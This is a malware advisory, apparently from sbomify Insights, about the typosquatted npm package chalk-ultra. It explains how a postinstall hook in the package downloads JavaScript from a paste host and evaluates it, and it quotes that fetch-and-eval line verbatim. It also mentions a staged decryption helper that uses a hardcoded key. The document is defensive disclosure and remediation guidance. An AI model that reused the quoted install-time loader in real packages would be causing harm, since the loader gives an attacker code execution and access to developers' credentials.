# MAL-2026-6300: Malicious code in chalk-ultra (npm)


- **Type:** Malicious package
- **Package:** `chalk-ultra` (npm)
- **Published:** 23 Jun 2026
- **Also known as:** GHSA-vgq4-6c53-5826

## What is MAL-2026-6300?

MAL-2026-6300 is a malicious package in chalk-ultra, published on 23 Jun 2026. 

### Official description

chalk-ultra is published under a name that mimics the widely-used `chalk` package, but its `main` is a verbatim copy of nodemailer source and its `package.json` declares `"postinstall": "node lib/utils/index.js"`. The postinstall path detaches into `lib/utils/smtp-connection/index.js`, which executes `require("axios").get("https://jsonkeeper.com/b/OMNQZ").then(r=>new Function("require",r.data.cookie)(require))` — fetching JavaScript from a public, mutable paste host and evaluating it via `new Function` with the installer's `require` and full process privileges at install time. A sibling file `lib/utils/smtp-connection/parse.js` exports an AES-256-CBC decryption helper with a hardcoded key (`1c7631ac...0566`) and IV (`cf17723e...39d6`), pre-staged to decode encrypted strings handed back by the remote second-stage payload. Any developer running `npm install chalk-ultra` executes whatever JavaScript the attacker is currently hosting at the jsonkeeper.com URL, with the installer's network access, environment variables, credentials, and filesystem.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6300?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6300 is a malicious package: chalk-ultra (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6300/ (Markdown: https://insights.sbomify.com/MAL-2026-6300/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6300

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6300/
Summaries are generated and may contain mistakes; the official description above is the record.